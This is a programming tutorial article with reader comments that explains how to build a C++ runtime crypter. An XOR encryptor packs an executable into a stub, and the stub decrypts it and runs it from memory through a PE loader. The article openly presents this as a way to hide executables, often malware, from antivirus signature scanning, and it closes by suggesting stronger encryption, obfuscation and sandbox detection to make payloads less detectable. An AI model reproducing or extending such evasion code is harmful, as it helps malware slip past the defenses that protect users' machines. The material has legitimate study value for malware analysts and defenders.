Click here to Skip to main content
15,891,033 members
Articles / Programming Languages / C++

C++ Runtime Crypter

Rate me:
Please Sign up or sign in to vote.
4.96/5 (16 votes)
6 Mar 2017MIT5 min read 55.4K   23   7
Tutorial on the structure of writing a runtime crypter in C++

Introduction

The following is a very simple example of a crypter written in C++. The following project is separated into two separate components. The first program, crypter.exe, is designed to obfuscate an executable file using a simple XOR encryption algorithm. The second, stub.exe, takes this encrypted executable stored within itself as a resource, decrypts it and then executes it from memory. Because the unencrypted binary executed from the stub.exe program never touches disk, it may be used to conceal programs from signature based detection systems employed by antivirus software. The below code is from this GitHub fork: https://github.com/ConnorPatterson/Pe-Loader-Sample

Background

“Crypter” generally refers to software used by hackers and security researchers to conceal malware, particularly when infecting a victim’s computer. Crypters may be divided into two categories: scantime and runtime. Scantime crypters take an encrypted executable and reverse the encryption, and then write this executable to disk and execute it from there. Scantime crypters generally evade detection from antivirus scanning until execution. As soon as the file is unencrypted and written to disk, it should be detected and quarantined by any decent modern antivirus.

Runtime crypters, on the other hand, do not write anything to disk. A stub program containing the original, but obfuscated, executable file (often malware) within its data performs staging to prepare the embedded, obfuscated code for execution. This generally includes decrypting the original, and then executing the now decrypted binary image directly from memory, performing the tasks generally performed by the OS executable loader when executing a program. This allows runtime crypters to evade antivirus signature detection – antivirus must use other means to defend against such protected malware, such as heuristic analysis or behavioral detection. Because runtime crypters must be able to extract and execute a binary image on their own, they employ techniques similar to those found in self-extracting archives, and even more closely to packers - programs which take compressed or archived binary files and execute them as if they were the original. For this reason, the terms packer and crypter are often used synonymously.

Mountain View

IMAGE COURTESY OF http://ethanheilman.tumblr.com/post/128708937890/a-brief-examination-of-hacking-teams-crypter

To create a runtime crypter for Windows, the stub program must be able to take an encrypted executable image, reverse the encryption, and then hand control of execution over to the decrypted executable. To accomplish this, techniques such as Process Hollowing or running the decrypted program entirely from within the stub’s own address space may be used. In either case, the stub generally must be able to parse the windows executable format data structure (PE) and perform the task of the system EXE (PE) loader. On windows, the system EXE loader maps sections of an executable into memory, performs some address relocation fix-ups if necessary, and then resolves imports by loading the addresses of included functions into the executables memory so it can actually make use of imported functions. To learn about the Microsoft Portable Executable (PE) format and how to load compiled executables into memory yourself, I recommend starting with the specification and other resources from Microsoft, OpenSecurityTraining and Joachim Bauch. Reading code projects and examples are also very useful. In any case, for the purposes of this POC, I saved myself an enormous amount of time by slightly modifying this repository from Github, which has reliable and stable build that accomplishes the task of the system EXE loader and executes an executable from its own address space.

Using the code

To accomplish this simple crypter POC, there are two components: the encryption program, and the stub.

The encryption program is very simple – utilizing three functions, it reads in an executable image into memory, then encrypts this image by XORing each byte of the executable with the value in the key variable, and then writes this encrypted image onto disk, into the file called “crypt.exe”.

typedef struct {

	char* image;
	streampos size;

} PARAMS;
	
bool OpenExecutable(string executable, PARAMS *data) {

	ifstream infile(executable, ios::in | ios::binary | ios::ate);

	if (infile.is_open())
	{
		data->size = infile.tellg();
		data->image = new char[data->size];
		infile.seekg(0, ios::beg);
		infile.read(data->image, data->size);
		infile.close();
		return true;
	}

	return false;

}

void EncryptExecutable(PARAMS *data) {

	int key = 128;

	for (int i = 0; i < data->size; i++) {
		data->image[i] ^= key;
	}

}

bool WriteExecutable(PARAMS *data) {

	ofstream f("crypt.exe", std::ios::out | std::ios::binary);

	if (f.is_open()) {
		f.write((char*)data->image, data->size);
		f.close();
		return true;
	}

	return false;
}

Once you have the encrypted executable, we will need to include it as a resource within the stub component of our project. Since this program is complied with Visual Studio C++, you can add the resource by going to View->Solution Explorer, which shows the project solution files in the tab on the left. Now right click on the project folder, and go to Add->Resource->Import (find crypt.exe outputted from the other program) and set type as 'RCDATA'. If the project doesn’t have a resource file, it should create one like this. The line

#define IDR_RCDATA1                     101

Defines the resource. Looking at the PeLdr source, inside the LoadImage function, we can see that the program will open the resource, referring to it as IDR_RCDATA1, reads it into a buffer, and decrypts it with the same XOR cipher and key from the other component. It then gives the buffer to the PARAMETERS struct, and the rest of the PeLdr code handles executing this binary image from memory.

HRSRC rsrc = ::FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
	unsigned int rsrcsize = ::SizeofResource(NULL, rsrc);
	HGLOBAL rsrcdata = ::LoadResource(NULL, rsrc);
	void* pbindata = ::LockResource(rsrcdata);

	char* buffer = new char[rsrcsize];
	memcpy(buffer, pbindata, rsrcsize);

	int key = 128;

	for (int i = 0; i < rsrcsize; i++) {
		buffer[i] ^= key;
	}

	pe->dwImageSizeOnDisk = rsrcsize;

Now compile the program. When the newly compiled program is run, you should find that it also executes whatever program you had encrypted and attached as a resource. When testing the program, very simple programs which display a single MessageBox are useful to see that the program is functioning as it should be and running your executable.

Points of Interest

With an understanding of the above stencil – encrypt executable image, store within stub as resource, decrypt and execute using a PE loader method - you should be able to build and research from here on out to make more resilient software protection techniques. For example, it is important to note any decent AV suite will be able to bruteforce XOR encryption and detect malware signatures concealed within. That means that the XOR cipher in the above program will not be sufficient to conceal malware – this crypter is not FUD (fully undetectable). But now with a basic understanding of crypter software, you should be able to modify it, making it more versatile. For example, you can use stronger encryption algorithms or code obfuscation methods to conceal your payload inside the code. You can also look into techniques to make the program more robust, perhaps by adding sandbox detection, etc. Enjoy!

License

This article, along with any associated source code and files, is licensed under The MIT License


Written By
Canada Canada
This member has not yet provided a Biography. Assume it's interesting and varied, and probably something to do with programming.

Comments and Discussions

 
Questiontotal sh*t and useless Pin
Member 1289927927-Jan-20 23:57
Member 1289927927-Jan-20 23:57 
Questioncannot handle import forwarding Pin
Member 1289927927-Jan-20 22:38
Member 1289927927-Jan-20 22:38 
Questioncrypt.exe is not generating Pin
Member 1289927927-Jan-20 19:41
Member 1289927927-Jan-20 19:41 
QuestionFor me not working Pin
Omar Alami29-Mar-17 6:24
Omar Alami29-Mar-17 6:24 
AnswerRe: For me not working Pin
Member 1394855513-Aug-18 22:19
Member 1394855513-Aug-18 22:19 
QuestionСustom DLL loading Pin
Member 103853818-Mar-17 6:24
Member 103853818-Mar-17 6:24 
What`s about custom (not system) dll loading? It`s available? For example: i have an .exe and depending .dll (one or more). Can i use your crypter in this case?

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.